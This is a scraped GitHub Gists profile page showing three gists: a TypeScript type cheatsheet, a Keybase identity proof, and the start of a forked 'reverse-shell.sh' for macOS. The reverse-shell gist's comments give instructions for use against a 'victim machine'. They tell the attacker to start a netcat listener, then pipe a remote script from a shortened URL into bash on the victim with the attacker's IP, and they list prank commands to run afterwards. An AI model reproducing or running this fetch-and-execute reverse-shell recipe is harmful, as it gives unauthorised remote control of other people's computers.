Skip to content

Instantly share code, notes, and snippets.

View sshmaxime's full-sized avatar
🪐

Maxime Aubanel sshmaxime

🪐
  • Montpellier, France
  • 20:34 (UTC +02:00)
View GitHub Profile
@sshmaxime
sshmaxime / Typescript.ts
Created May 22, 2021 16:27
🔬 Typescript cheatsheet
// Change last param of a function
type LastIndex<T extends readonly any[]> = ((...t: T) => void) extends (x: any, ...r: infer R) => void
? Exclude<keyof T, keyof R>
: never;
type ReplaceLastParam<TParams extends readonly any[], TReplace> = {
[K in keyof TParams]: K extends LastIndex<TParams> ? TReplace : TParams[K];
};
type ReplaceLast<F, TReplace> = F extends (...args: infer T) => infer R
### Keybase proof
I hereby claim:
* I am sshmaxime on github.
* I am sshmaxime (https://keybase.io/sshmaxime) on keybase.
* I have a public key ASCedRoMGQb-WboR5XGnPHjiXhlaPEmT2kCrRxynfx6aSgo
To claim this, I am signing this object:
@sshmaxime
sshmaxime / reverse-shell.sh
Last active October 1, 2020 17:40 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/JJeRK | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls